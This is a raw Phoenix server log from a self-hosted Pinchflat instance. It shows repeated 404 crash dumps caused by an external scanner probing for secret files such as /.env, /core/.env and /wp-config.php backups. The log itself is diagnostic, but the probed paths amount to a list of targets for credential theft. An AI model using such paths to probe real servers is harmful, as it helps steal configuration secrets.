#PID<0.21425.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfPe8kF5_ejwACMCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21424.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51974}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21424.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.example", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51974}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21425.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.example", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfPe8kF5_ejwACMCB"} ], scheme: :http, script_name: [], (truncated) 15:40:15.283 [info] GET /wp-config.php.save 15:40:15.283 [debug] QUERY OK source="settings" db=0.1ms idle=176.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.284 [debug] QUERY OK source="settings" db=0.1ms idle=104.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.284 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.284 [error] #PID<0.21427.0> running PinchflatWeb.Endpoint (connection #PID<0.21426.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-config.php.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21426.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51988}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21427.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfPuUhA0i6L4ACMCh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21426.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51988}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config.php (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21426.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php.save", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51988}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21427.0>, params: %{}, path_info: ["wp-config.php"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfPuUhA0i6L4ACMCh"} (truncated) 15:40:15.334 [info] GET /core/.env 15:40:15.334 [debug] QUERY OK source="settings" db=0.1ms idle=154.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.334 [debug] QUERY OK source="settings" db=0.0ms idle=115.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.334 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.335 [error] #PID<0.21429.0> running PinchflatWeb.Endpoint (connection #PID<0.21428.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /core/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21428.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51994}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21429.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfP6fHV6erocACMDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21428.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51994}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21428.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51994}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21429.0>, params: %{}, path_info: ["core", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/core/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfP6fHV6erocACMDB"} ], scheme: :http, script_name: [], secret_k (truncated) 15:40:15.386 [info] GET /wp-config.php~ 15:40:15.386 [debug] QUERY OK source="settings" db=0.0ms idle=166.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.386 [debug] QUERY OK source="settings" db=0.0ms idle=102.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.386 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.386 [error] #PID<0.21431.0> running PinchflatWeb.Endpoint (connection #PID<0.21430.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /wp-config.php~ ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51996}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21431.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfQG0iykp8C4ACMDh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51996}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21430.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php~", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51996}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21431.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/wp-config.php~", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfQG0iykp8C4ACMDh"} ], scheme: :http, (truncated) 15:40:15.446 [info] GET /env 15:40:15.446 [debug] QUERY OK source="settings" db=0.0ms idle=162.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.446 [debug] QUERY OK source="settings" db=0.0ms idle=112.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:15.446 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:15.447 [error] #PID<0.21433.0> running PinchflatWeb.Endpoint (connection #PID<0.21432.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21432.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51998}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21433.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in 